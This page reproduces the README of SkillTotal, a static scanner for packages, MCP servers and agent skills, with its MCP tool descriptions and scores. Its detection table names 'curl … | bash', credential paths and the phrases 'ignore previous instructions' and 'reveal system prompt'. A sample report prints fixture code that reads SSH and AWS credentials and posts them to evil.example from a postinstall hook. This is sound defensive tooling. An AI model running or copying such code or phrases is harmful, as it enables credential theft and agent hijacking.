Skip to main content
Glama

Quick start

pipx install skilltotal
skilltotal scan npm:express     # or pypi:name, a git URL, a folder, an archive

Check what your coding agent installs. Inside Claude Code:

/plugin marketplace add pezhik/skilltotal
/plugin install skilltotal@skilltotal
/reload-plugins

Gate pull requests. Add one step to a workflow (full example with permissions):

      - uses: pezhik/skilltotal@v0.90.0
        with: { source: ., fail-on: high }

To try it without installing anything, www.skilltotal.ai runs the same engine.

Related MCP server: mcp-heimdall

Choose your path

You want to

Start here

Check packages before Claude Code installs them

Claude Code plugin

Check packages before another agent installs them

Agent hooks, each with a support tier, or the MCP server and guard

Scan a package, repository, folder, archive, .vsix, .mcpb or wheel yourself

skilltotal scan

Gate pull requests in CI

GitHub Action and other CI

Adopt it on a repository that already has findings

Rolling out with a baseline

Review a dependency upgrade before you merge it

diff --fail-on-new

Check the MCP servers, plugins, skills and editor extensions installed on your machine every day

Installed components

Run that check on a company fleet, feed a SIEM, export an AI-BOM

Running it on a fleet

Accept a false positive

Accepting findings

Scan through a company registry mirror

Registry mirrors

What it catches

It scans npm and PyPI packages, MCP servers, agent skills and plugins, VS Code extensions, git repositories (or one folder of them), local folders, archives (including .mcpb, .vsix and wheels) and single files, and looks for:

Category

Examples

Shell execution

subprocess.*, os.system, child_process.exec, curl … | bash handed to a shell call

Filesystem access

open, read_text/write_text, fs.readFile/writeFile

Sensitive paths

~/.ssh, ~/.aws, .env, id_rsa, credentials, secrets

Network egress

requests, urllib, aiohttp, fetch, axios

Install-time execution

npm preinstall/postinstall/prepare, setup.py hooks, a lifecycle script that downloads or decodes code and runs it

Dynamic code execution

eval, exec, compile, new Function, vm.runInNewContext

Obfuscation

decode-and-execute chains, base64 blobs, hex escaping, minification

MCP risks

manifests, dangerous tools (shell/fs/network/credential), server commands

Prompt surface

"ignore previous instructions", "reveal system prompt", exfiltration phrasing

Post-exploitation

reverse tunnels and shells, planted SSH keys, autostart persistence, antivirus or Gatekeeper evasion, host beacons

It also flags hidden Unicode in agent-facing text, embedded secrets, auto-approved MCP tools and data flows such as a credential read followed by network egress. skilltotal rules list prints every rule; coverage by component type and accuracy notes are in docs/detection.md.

$ skilltotal scan tests/fixtures/malicious_npm_pkg
SkillTotal Security Report
==========================
Component : evil-npm-pkg 0.0.1 (npm_package)
Source    : tests/fixtures/malicious_npm_pkg
Verdict   : HIGH - High risk - review before installing
Risk      : HIGH  (score 70/100)

Findings (3 risk, 4 capability, not scored):
  [CRITICAL] ST-COMBO-EXFIL  Sensitive-data access combined with network egress
    Evidence:
      - index.js:7
        const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
      - steal.js:3
        const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
      - index.js:13
        fetch('http://evil.example/collect', { method: 'POST', body: key });
      ... and 1 more (all of them in --json)

  [HIGH] ST-INSTALL-DROPPER  Install-time hook paired with a dropper payload
    Evidence:
      - package.json:6
        "postinstall": "node steal.js"
  ...

Shortened. The full report also prints descriptions, recommendations, capabilities and review items.

Why SkillTotal

  • The Claude Code plugin checks each npx, npm install, pip install or claude mcp add command before the agent runs it.

  • Scans run on your machine with no account, API token, upload or telemetry, and SkillTotal never runs the code it reads. The exception is the agent hooks' lockfile lookup: public package names and versions go to OSV, and SKILLTOTAL_OSV=0 turns that off (Network access).

  • Detection is regex and AST matching with no LLM, so the same input on the same Python version gives the same findings and score. Every finding cites a file and line, and recall and precision are published.

  • Zero runtime dependencies (Python standard library only) make it easy to audit, vendor or run air-gapped.

  • Reports carry a behavioral trait fingerprint mapped to the Cloud Security Alliance (CSA) agentic threat model, MAESTRO layers and MITRE ATLAS tactics; findings carry OWASP Agentic Skills Top 10 ids.

  • It is open source (Apache-2.0), and the full static report is free, forever.

How it works

SkillTotal fetches the component (a shallow git clone or the package archive), reads every file once and runs its scanners over them. It correlates the findings (a credential read plus network egress becomes an exfiltration path) and scores the result from 0 to 100. It looks only at the component's own files, never at the user, company, environment, deployment or runtime context. Every confirmed finding carries evidence (file, line range, code snippet); a signal that cannot be tied to evidence goes to needs_review, which never affects the score. A capability such as shell or network access is reported but scores zero. Details in docs/architecture.md and docs/scoring.md.

Claude Code plugin

Before an install command runs, the plugin scans each package it names, locally and with the same engine as the CLI. It reads npm, pnpm, yarn, bun, npx, pip, uv, uvx, pipx, poetry and similar installs, claude mcp add (and the Codex and Gemini equivalents), claude plugin install, code --install-extension and npx skills add, including when they are wrapped in sudo, bash -c, $(...) or PowerShell. Install the CLI first (skilltotal --version must work where you start Claude Code), then run the three commands from Quick start.

The scan finds

What happens to the install

Malicious indicators

Denied. The agent is told the finding and its file:line

High or critical risk, a look-alike package name, or anything it could not check (a custom registry, a name built at run time, a command hidden behind a decoder, a check that failed or ran out of time)

Claude Code asks you

Nothing of that kind

It installs. The agent gets a one-line note with the version checked and its score

Anything it would ask about, in CI

Denied: CI is fail-closed (see below)

Each install command gets a console line saying what was checked, or what was not and why. In CI (CI, GITLAB_CI, JENKINS_URL and similar, or SKILLTOTAL_STRICT=1) nobody is there to answer, so anything it would ask about is denied. Installs it could not check are denied too, unless SKILLTOTAL_ALLOW_UNCHECKED lists their kind.

It does not scan the dependencies of the named package, the code of installs that name no package (npm ci, pip install -r, uv sync: their lockfile is only looked up in OSV, and the console says what was and was not covered), scripts on disk, shell-profile aliases or functions, downloaded scripts (curl ... | bash, reported as not checked), repositories fetched with git clone, or code already running on your account (it can rewrite the verdict cache or the CLI). Updates that install themselves, such as an editor extension or an npx -y server that runs its latest release, run no install command. The plugin's sentinel scans what changed at session start and tells the agent at the next one. The plugin has no override for a denied install, and it is a static check, not a sandbox: run the agent in a container for code you don't trust. It also adds a /skilltotal:scan <target> command and registers the SkillTotal MCP server. Recognized commands, settings, cache, timing, team rollout and troubleshooting are in docs/plugin.md.

Other agents

skilltotal hook install adds the same check to other agents, leaving their other hooks alone. An agent that cannot ask you gets a denial that says how to go ahead.

Agent

Tier

Claude Code

verified against Claude Code 2.1.316 on 2026-10-31

Gemini CLI

hook tested in Gemini CLI 0.45.2 on 2026-10-31 with a stand-in model; not yet run with a live model

Cursor, Windsurf, Devin, Codex, VS Code Copilot

preview: built to the agent's documented hook format, not yet run in the agent

docs/agent-hooks.md has what each one can and cannot see, and the managed templates for a fleet.

CI / GitHub Action

Run SkillTotal in CI and see the findings in your repository's Security → Code scanning tab: add the step from Quick start to a workflow with security-events: write (full workflow).

A malicious indicator fails the job at any severity; a capability on its own, such as a shell call or network access, never does. The log names the gate that tripped and the finding behind it. Findings are uploaded as SARIF. A private repository has Code Scanning only with GitHub Advanced Security; without it, set upload-sarif: 'false'. comment-on-pr: 'true' (with pull-requests: write) keeps one summary comment up to date. The repository's .skilltotal.toml is applied, so put it under CODEOWNERS (Configuration). docs/ci.md covers every input and output, scheduled re-checks of a third-party package, upgrade reviews, pre-commit, GitLab CI, Jenkins and rolling out on an existing repository. Anywhere else Python 3.10+ runs, install a pinned release and gate on the exit code (0 passed, 2 a gate tripped, 1 the scan could not run):

pip install skilltotal==0.90.0      # in a virtual environment outside the checkout
skilltotal scan . --fail-on high

CLI

skilltotal scan ./path/to/component           # a folder, archive, file, git URL, npm:name or pypi:name
skilltotal scan ./downloads/some-extension.vsix   # also .mcpb, .dxt and .whl files
skilltotal scan vscode:publisher.name         # an editor extension by id (openvsx: for Open VSX)
skilltotal scan ./component --json            # JSON to stdout
skilltotal scan ./component --sarif --output report.sarif
skilltotal scan ./component --fail-on high    # exit 2 on a high/critical risk finding
skilltotal scan ./component --write-baseline .skilltotal-baseline.json
skilltotal scan ./component --baseline .skilltotal-baseline.json --fail-on-high
skilltotal diff npm:some-lib@1.2.3 npm:some-lib@1.2.4 --fail-on-new high
skilltotal guard npm:some-mcp-server          # exit 2 if it should not be installed
skilltotal guard --installed                  # the MCP servers, plugins, skills and editor extensions installed here
skilltotal guard --installed --state ~/.skilltotal-state.json   # also catch risk gained in an update
skilltotal inventory --sbom                   # AI-BOM: CycloneDX 1.6 JSON of your agent stack
skilltotal rules list

With no gate flag and no gate in a .skilltotal.toml, scan exits 0 whatever it finds, even for a malicious verdict. In a script, use skilltotal guard or a gate (--fail-on) and check the exit code. Every command, flag, exit code and gate is in the CLI reference; a daily check of what is installed, with cron, launchd or Task Scheduler, is in Installed components.

MCP server

skilltotal mcp runs the engine as a stdio MCP server so your agent can check a component before installing it. The Claude Code plugin already registers it. In Claude Code without the plugin:

claude mcp add skilltotal -- skilltotal mcp

For Claude Desktop, Cursor, Windsurf or any client that reads mcpServers:

{ "mcpServers": { "skilltotal": { "command": "skilltotal", "args": ["mcp"] } } }

It has three read-only tools: scan_component (a local path, git URL, npm:, pypi:, vscode: or openvsx: source), diff_components (what changed between two versions) and list_rules. VS Code, the uvx/npx forms and the path rules are in docs/mcp-server.md.

Install

Requires Python 3.10+, with zero runtime dependencies. git is needed only for scanning remote URLs and for scan --staged. Scanning inside a directory you don't trust, installing on an offline machine and other install details are in docs/cli.md.

pipx install skilltotal      # recommended for the CLI; then `pipx ensurepath` if it is not found
pip install skilltotal       # into a virtual environment, or to use it as a library

With npx (it needs uv, pipx, or Python 3.11+ with skilltotal installed), name the release with --package so npx does not run a skilltotal from the scanned repository's node_modules/.bin:

npx -y --package=skilltotal@0.90.0 -- skilltotal scan https://github.com/owner/repo

Measured, not asserted

  • Detection efficacy: recall and precision on a labeled corpus we built and publish (168 malicious and 129 benign samples), regenerated every release and enforced by CI as a floor. A perfect score on our own corpus guards against regressions; it is not a claim about every attack in the wild. Each rule behind the survey's OWASP class counts also has labeled samples of its own, listed in the report's rule coverage table.

  • The MCP registry, scanned (September 2026, engine 0.49.0, rulesets 56 to 59; later rule changes are not reflected): 15,341 of the 17,535 distinct components in the official registry (87.5%). Of those scanned, 88.2% expose tools to an agent, 64.8% can reach the network and 21.1% can execute shell commands. Still, all but 116 of them score low risk, because a capability on its own scores zero. Before this run we read every malicious-indicator hit from an earlier run by hand and fixed the false positives. Aggregates (JSON) · the harness.

Limitations

  • Files over 2 MiB are not read. Minified JavaScript/TypeScript bundles are listed but not analyzed, except the scripts npm runs at install and the entry points a package.json names. A VS Code extension's entry points are read up to 8 MiB. A low verdict over unread code reads "Partially analyzed".

  • Dependencies are not scanned. node_modules/, vendor/ and virtual environments are skipped.

  • Code fetched or generated at run time is not analyzed, nor are binaries and compiled artifacts.

  • Languages. Shell execution, network access, file access and dynamic code are analyzed in Python and JavaScript/TypeScript. Shell, PowerShell and batch scripts are checked for download-and-run, decode-and-run, evasion and post-exploitation idioms. Other languages get only the secret, sensitive-path and hidden-Unicode checks.

  • The default gate does not count unread code, and unread code never passes in silence: the log names it (Not everything was analyzed: ...), the verdict reads "Partially analyzed", and --fail-on-unanalyzed fails on it. That covers files too large to read, minified bundles, code in languages not analyzed for behavior, and compiled code shipped without its source (a .pyc, .pyo or .class with no .py or .java of the same name beside it).

  • Detection is at the call/import level. A capability shows the code is there, not that it is misused. SkillTotal does not replace a sandbox, a penetration test or a manual code review.

For how the four bypasses published in June 2026 fare against this engine, see What we catch. The full list is in docs/detection.md.

Configuration

Commit a .skilltotal.toml instead of repeating flags: gate levels, excludes, ignored rules, a baseline file and per-rule block / warn / ignore policy. scan reads all of it and diff reads the excludes and ignored rules; guard and inventory read none (docs/configuration.md). Limits and registry mirrors are set with SKILLTOTAL_* environment variables.

To accept a reviewed finding, add an inline skilltotal:ignore[ST-ID] comment (local folders only, never for a malicious indicator), record it in a baseline, or, for guard and scheduled sweeps of installed components, list it in an accept file (--accept FILE: one component at one exact version, with a reason). Accepting findings compares them. In CI the scanned repository's own config and markers apply, so put .skilltotal.toml and the baseline under CODEOWNERS with branch protection.

Network access

A scan of a local folder, archive or file makes no network request. SkillTotal goes online only for:

  • git URLs: git clone --depth 1; for github.com, GitHub REST API calls (api.github.com) first, to check the size of what would be cloned

  • npm: / pypi: sources: package metadata and archive from registry.npmjs.org or PyPI (pypi.org and its file host), or from your mirror (SKILLTOTAL_NPM_REGISTRY, SKILLTOTAL_PYPI_INDEX)

  • vscode: / openvsx: sources: extension metadata and the .vsix from marketplace.visualstudio.com or open-vsx.org, and their download hosts

  • --provenance: the package's registry metadata

  • inventory, guard --installed, watch, the agent hooks and the MCP server: the same registries and git hosts, for the packages they check

  • The agent hook's lockfile lookup: for an install that names no package (npm ci, uv sync), the hook sends the names and exact versions of public-registry packages to OSV (api.osv.dev, operated by Google) and nothing else. A package is sent only when the install would fetch it from the public registry: with a custom registry configured, an entry with no public URL in the lockfile is not sent. A clean result means OSV lists no known-malicious version, not that the package is safe. Set SKILLTOTAL_OSV=0 to turn it off. What is sent, and its limits

Only the agent hook does that lookup. Scanning sends nothing about your code anywhere. SkillTotal sends no telemetry, needs no account and makes no LLM call.

Open source vs SkillTotal Cloud

This engine (the analysis, all detection rules and the CLI) is open source and complete on its own, free to run locally or in CI. Paid features are planned for SkillTotal Cloud as server-side services on top of it; their code is not part of this repository (docs/open-core.md).

Documentation

Section

Now in

Every command and flag, sources and archive types, exit codes, gates, status badge

docs/cli.md

Installed components: discovery, editor extensions, update drift (--state), daily and fleet checks, AI-BOM

docs/installed-components.md

Accepting findings: inline markers, baselines, ignore and [policy], accept files

docs/accepting-findings.md

Project config and which commands read it, environment variables, registry mirrors

docs/configuration.md

Action inputs and outputs, pre-commit, upgrade reviews, other CI systems, rolling out

docs/ci.md

MCP server clients, path rules, checking installs in other agents

docs/mcp-server.md

What it detects, coverage by component type, typical findings, verdict, out of scope, accuracy notes

docs/detection.md

Malware archetypes and the rules that catch them

docs/detection-coverage.md

Output formats: scan report (traits, OWASP mapping), SARIF, diff, guard and inventory JSON, AI-BOM properties

docs/report-schema.md

Claude Code plugin reference

docs/plugin.md

Hooks for other agents, the sentinel, fleet rollout

docs/agent-hooks.md

Architecture

docs/architecture.md

Contributing, security and license

Development setup: pip install -e ".[dev]", then pytest. Detection rules are added corpus-first (docs/contributing-rules.md). Report false positives as issues; they are fixed in the open. Security issues: SECURITY.md.

Apache-2.0, see also NOTICE.

Available Tools

3 tools
diff_componentsCompare two versions of a componentA
Read-only

Compare two versions of a component and report what changed. Use for upgrade reviews (is the new version riskier than the one already vetted?). Both sides accept the same sources as scan_component. The default summary gives each side's verdict, the verdict change, the risk-score delta, new and removed risk findings (in scan_component's why shape) and capability changes; detail="full" returns the complete diff with every new/resolved/changed finding. Decide on the verdict (level, headline, has_malicious_indicators), not on the number of findings: a finding whose threat_class is "capability" is something the component can do (run commands, read files, reach the network) and adds no risk; malicious_indicator and risky_construct findings are what the verdict and score rest on. Not checked: the code of the component's dependencies, known vulnerabilities (CVEs), and runtime behaviour.

NameRequiredDescriptionDefault
newYesNew side. What to scan: an absolute path to a local folder, file or archive, a git URL (a subfolder as https://github.com/<owner>/<repo>/tree/<ref>/<path>), npm:<name>[@version], pypi:<name>[==version], or an editor extension as vscode:<publisher>.<name>[@version] (Visual Studio Marketplace) or openvsx:<namespace>.<name>[@version] (Open VSX).
oldYesOld side. What to scan: an absolute path to a local folder, file or archive, a git URL (a subfolder as https://github.com/<owner>/<repo>/tree/<ref>/<path>), npm:<name>[@version], pypi:<name>[==version], or an editor extension as vscode:<publisher>.<name>[@version] (Visual Studio Marketplace) or openvsx:<namespace>.<name>[@version] (Open VSX).
detailNosummary (default): the verdict, why (findings with up to 3 locations each), capabilities, counts, what to check by hand and what was not checked. full: the complete SkillTotal report JSON (every finding, all evidence, traits, needs_review).

TDQS

A4.4/5.0
Behavior5/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Annotations declare readOnly/openWorld/non-destructive, and the description goes well beyond them: it specifies the default summary payload, what detail="full" returns, and cautions that dependency code, CVEs, and runtime behaviour are excluded. It also explains an interpretation rule (capability threat_class findings add no risk; the verdict rests on malicious_indicator and risky_construct) that an agent could not infer from any structured field.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Front-loaded with purpose, then sources, then return shape, then interpretation guidance — a sensible order. It is dense but long, and the detail= explanation partially duplicates the schema's enum description; the verdict-semantics sentence earns its length by preventing a common misreading.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

There is no output schema, and the description compensates by describing both return modes and their contents, plus the systematic exclusions. For a three-parameter comparison tool backed by rich annotations, nothing an agent needs to call or interpret it correctly is missing.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100%, and the schema already enumerates every accepted source format for old and new and fully describes the detail enum, so the description adds little. Its only semantic contribution is restating that both sides take the same sources as scan_component and that detail="full" yields every new/resolved/changed finding, which the schema largely covers. Baseline 3 applies.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

States a specific verb and resource ('Compare two versions of a component and report what changed'), which cleanly distinguishes it from the sibling scan_component, which inspects a single version. The title and description agree, and the frame 'is the new version riskier than the one already vetted?' pins the intent.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Gives an explicit use case (upgrade reviews) and an explicit scope boundary ('Not checked: dependencies, CVEs, runtime behaviour'). It names scan_component as the reference for accepted sources, which implicitly routes single-version scanning there, but never states plainly 'for a single component use scan_component'.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

list_rulesList detection rulesA
Read-only

List SkillTotal detection rules: id, severity, category, title, threat class and capability. Use it to look up a rule id from a scan_component or diff_components result, or to see what SkillTotal checks before scanning. It reads the rule list bundled with this engine: offline, instant, no side effects. With no arguments it returns every rule. ids and query narrow the list and combine (a rule must match both); no match returns an empty array []. Pass verbose=true for each rule's description and recommendation.

NameRequiredDescriptionDefault
idsNoOnly these rule ids, as a finding's rule field shows them (case-insensitive). Unknown ids are skipped, not an error.
queryNoOnly rules whose id or title contains this text (case-insensitive substring; descriptions are not searched).
verboseNoAlso return each rule's description and recommendation.

TDQS

A4.9/5.0
Behavior5/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Annotations already declare readOnlyHint/openWorldHint=false, and the description goes beyond them: the rule list is bundled with the engine, so calls are offline and instant, and it discloses the no-match behavior (empty array []) plus the effect of verbose=true. This is exactly the operational context an agent needs before deciding to call it.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Front-loads what is returned, then use cases, then behavior and filtering, in four tight sentences with no filler. Every clause carries information an agent would otherwise have to infer.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

There is no output schema, and the description compensates by listing the returned fields, the empty-result shape, and what verbose adds. For a zero-required-parameter read tool with full schema coverage, nothing needed for correct invocation is missing.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100%, so the baseline is 3; the description adds real value on top by stating that ids and query combine with AND semantics and that a non-matching filter yields [] rather than an error. It doesn't restate case-insensitivity or unknown-id skipping, which the schema already covers.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

States a specific verb and resource (list detection rules) and enumerates the fields returned: id, severity, category, title, threat class, capability. It also distinguishes itself from siblings by naming scan_component and diff_components as the sources of rule ids, so an agent can place it in the workflow without opening the schema.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines5/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Gives two concrete when-to-use conditions: resolving a rule id from a scan_component or diff_components result, and previewing what SkillTotal checks before scanning. Sibling tools are named explicitly, and the 'before scanning' framing makes the sequencing relative to scan_component obvious.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_componentScan a componentA
Read-only

Statically scan an AI component (agent skill, MCP server, npm/PyPI package, repository, local path or archive) for supply-chain risks, dangerous capabilities, prompt-injection surfaces, and exfiltration paths. Use this BEFORE installing or trusting a component. The scan is local, deterministic, and never executes the component's code. A local path is read in place; a git URL or npm:/pypi:/vscode:/openvsx: source is downloaded to a temp folder that is removed afterwards. A source over the size limit is refused with an error naming the setting that raises it. Decide on the verdict (level, headline, has_malicious_indicators), not on the number of findings: a finding whose threat_class is "capability" is something the component can do (run commands, read files, reach the network) and adds no risk; malicious_indicator and risky_construct findings are what the verdict and score rest on. Not checked: the code of the component's dependencies, known vulnerabilities (CVEs), and runtime behaviour. The default summary is a JSON object: component, verdict {level, headline, has_malicious_indicators}, decision (one line), risk_score, risk_level, why [{rule, threat_class, severity, title, evidence ["file:line snippet"]}] (risk findings first), capabilities [names], counts {findings_by_threat_class, needs_review}, check_manually [notes to read], not_checked [what this scan does not cover], engine {version, ruleset}. Pass detail="full" for the complete report.

NameRequiredDescriptionDefault
detailNosummary (default): the verdict, why (findings with up to 3 locations each), capabilities, counts, what to check by hand and what was not checked. full: the complete SkillTotal report JSON (every finding, all evidence, traits, needs_review).
sourceYesWhat to scan: an absolute path to a local folder, file or archive, a git URL (a subfolder as https://github.com/<owner>/<repo>/tree/<ref>/<path>), npm:<name>[@version], pypi:<name>[==version], or an editor extension as vscode:<publisher>.<name>[@version] (Visual Studio Marketplace) or openvsx:<namespace>.<name>[@version] (Open VSX).

TDQS

A4.6/5.0
Behavior5/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Annotations only declare readOnly/openWorld/non-destructive; the description goes far beyond them by stating the scan is local and deterministic, never executes the component's code, downloads remote sources to a temp folder that is cleaned up, and refuses oversized sources with an error naming the relevant setting. It also lists what is NOT covered (dependency code, CVEs, runtime behaviour), which is exactly the kind of disclosure an agent needs.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Dense but front-loaded: purpose and the before-you-install rule come first, then mechanics, then verdict interpretation, then the return shape. Every sentence carries information, though the middle section packs several distinct ideas (temp folders, size limits, threat classes, exclusions) into a single long block that could be split for easier scanning.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

With no output schema and only two parameters, the description carries the full burden and does so: it enumerates the summary JSON fields (verdict, decision, risk_score, why, capabilities, counts, check_manually, not_checked, engine) and points to detail="full" for the complete report. An agent has enough to call it correctly and interpret the result without further tooling.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100%, so the baseline is 3, and the description earns extra by explaining the semantics of the report the parameters select: threat_class 'capability' findings add no risk while malicious_indicator and risky_construct findings drive the verdict and score. That interpretive layer meaningfully helps an agent interpret and choose detail levels, though it leans toward output semantics rather than parameter syntax.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

States a specific verb ('Statically scan') plus the resource ('an AI component') and enumerates exactly which source types qualify (skill, MCP server, npm/PyPI package, repo, local path, archive). The scanning scope is spelled out (supply-chain risks, dangerous capabilities, prompt-injection surfaces, exfiltration paths), which makes it unmistakable against diff_components or list_rules.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Gives an explicit timing rule ('Use this BEFORE installing or trusting a component') and adds interpretive guidance on how to decide once you have results. It does not name a sibling alternative (e.g., when to reach for diff_components versus a fresh scan), so it falls short of full when/when-not/alternatives coverage.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

  1. 2 tool updatesv0.90.0
    • Changeddiff_components2 fields changed
      • changedInput schema / properties / new / description
        Previous value: -"New side. What to scan: an absolute path to a local folder, file or archive, a git URL (a subfolder as https://github.com/<owner>/<repo>/tree/<ref>/<path>), npm:<name>[@version], or pypi:<name>[==version]."New value: +"New side. What to scan: an absolute path to a local folder, file or archive, a git URL (a subfolder as https://github.com/<owner>/<repo>/tree/<ref>/<path>), npm:<name>[@version], pypi:<name>[==version], or an editor extension as vscode:<publisher>.<name>[@version] (Visual Studio Marketplace) or openvsx:<namespace>.<name>[@version] (Open VSX)."
      • changedInput schema / properties / old / description
        Previous value: -"Old side. What to scan: an absolute path to a local folder, file or archive, a git URL (a subfolder as https://github.com/<owner>/<repo>/tree/<ref>/<path>), npm:<name>[@version], or pypi:<name>[==version]."New value: +"Old side. What to scan: an absolute path to a local folder, file or archive, a git URL (a subfolder as https://github.com/<owner>/<repo>/tree/<ref>/<path>), npm:<name>[@version], pypi:<name>[==version], or an editor extension as vscode:<publisher>.<name>[@version] (Visual Studio Marketplace) or openvsx:<namespace>.<name>[@version] (Open VSX)."
    • Changedscan_component1 field changed
      • changedInput schema / properties / source / description
        Previous value: -"What to scan: an absolute path to a local folder, file or archive, a git URL (a subfolder as https://github.com/<owner>/<repo>/tree/<ref>/<path>), npm:<name>[@version], or pypi:<name>[==version]."New value: +"What to scan: an absolute path to a local folder, file or archive, a git URL (a subfolder as https://github.com/<owner>/<repo>/tree/<ref>/<path>), npm:<name>[@version], pypi:<name>[==version], or an editor extension as vscode:<publisher>.<name>[@version] (Visual Studio Marketplace) or openvsx:<namespace>.<name>[@version] (Open VSX)."
  2. 2 tool updatesv0.79.1
    • Changedlist_rules2 fields changed
      • changedInput schema / properties / ids / description
        Previous value: -"Only these rule ids (case-insensitive)."New value: +"Only these rule ids, as a finding's rule field shows them (case-insensitive). Unknown ids are skipped, not an error."
      • changedInput schema / properties / query / description
        Previous value: -"Only rules whose id or title contains this text (case-insensitive)."New value: +"Only rules whose id or title contains this text (case-insensitive substring; descriptions are not searched)."
    • Changedscan_component1 field changed
      • changedInput schema / properties / source / examples
        Previous value: -[
        -  "npm:mcp-remote"
        -]New value: +[
        +  "npm:mcp-remote",
        +  "pypi:mcp-server-fetch",
        +  "https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem",
        +  "/home/user/skills/pdf-tool"
        +]
  3. 3 tool updatesv0.75.0
    • Changeddiff_components7 fields changed
      • addedInput schema / properties / detail
        Added value: +{
        +  "description": "summary (default): the verdict, why (findings with up to 3 locations each), capabilities, counts, what to check by hand and what was not checked. full: the complete SkillTotal report JSON (every finding, all evidence, traits, needs_review).",
        +  "enum": [
        +    "summary",
        +    "full"
        +  ],
        +  "examples": [
        +    "summary"
        +  ],
        +  "type": "string"
        +}
      • changedInput schema / properties / new / description
        Previous value: -"New side. What to scan: a local directory/file/archive path, a git URL, npm:<name>[@version], or pypi:<name>[==version]."New value: +"New side. What to scan: an absolute path to a local folder, file or archive, a git URL (a subfolder as https://github.com/<owner>/<repo>/tree/<ref>/<path>), npm:<name>[@version], or pypi:<name>[==version]."
      • addedInput schema / properties / new / examples
        Added value: +[
        +  "npm:mcp-remote@0.1.1"
        +]
      • addedInput schema / properties / new / minLength
        Added value: +1
      • changedInput schema / properties / old / description
        Previous value: -"Old side. What to scan: a local directory/file/archive path, a git URL, npm:<name>[@version], or pypi:<name>[==version]."New value: +"Old side. What to scan: an absolute path to a local folder, file or archive, a git URL (a subfolder as https://github.com/<owner>/<repo>/tree/<ref>/<path>), npm:<name>[@version], or pypi:<name>[==version]."
      • addedInput schema / properties / old / examples
        Added value: +[
        +  "npm:mcp-remote@0.1.0"
        +]
      • addedInput schema / properties / old / minLength
        Added value: +1
    • Changedlist_rules3 fields changed
      • addedInput schema / properties / ids
        Added value: +{
        +  "description": "Only these rule ids (case-insensitive).",
        +  "examples": [
        +    [
        +      "ST-SHELL-PIPE-EXEC"
        +    ]
        +  ],
        +  "items": {
        +    "type": "string"
        +  },
        +  "type": "array"
        +}
      • addedInput schema / properties / query
        Added value: +{
        +  "description": "Only rules whose id or title contains this text (case-insensitive).",
        +  "examples": [
        +    "prompt injection"
        +  ],
        +  "type": "string"
        +}
      • addedInput schema / properties / verbose / examples
        Added value: +[
        +  true
        +]
    • Changedscan_component4 fields changed
      • addedInput schema / properties / detail
        Added value: +{
        +  "description": "summary (default): the verdict, why (findings with up to 3 locations each), capabilities, counts, what to check by hand and what was not checked. full: the complete SkillTotal report JSON (every finding, all evidence, traits, needs_review).",
        +  "enum": [
        +    "summary",
        +    "full"
        +  ],
        +  "examples": [
        +    "summary"
        +  ],
        +  "type": "string"
        +}
      • changedInput schema / properties / source / description
        Previous value: -"What to scan: a local directory/file/archive path, a git URL, npm:<name>[@version], or pypi:<name>[==version]."New value: +"What to scan: an absolute path to a local folder, file or archive, a git URL (a subfolder as https://github.com/<owner>/<repo>/tree/<ref>/<path>), npm:<name>[@version], or pypi:<name>[==version]."
      • addedInput schema / properties / source / examples
        Added value: +[
        +  "npm:mcp-remote"
        +]
      • addedInput schema / properties / source / minLength
        Added value: +1
  4. 3 tool updatesv0.1.0
    • First observeddiff_components
    • First observedlist_rules
    • First observedscan_component

TDQS

A4.5/5.0

Scored across 3 tools

Disambiguation5/5

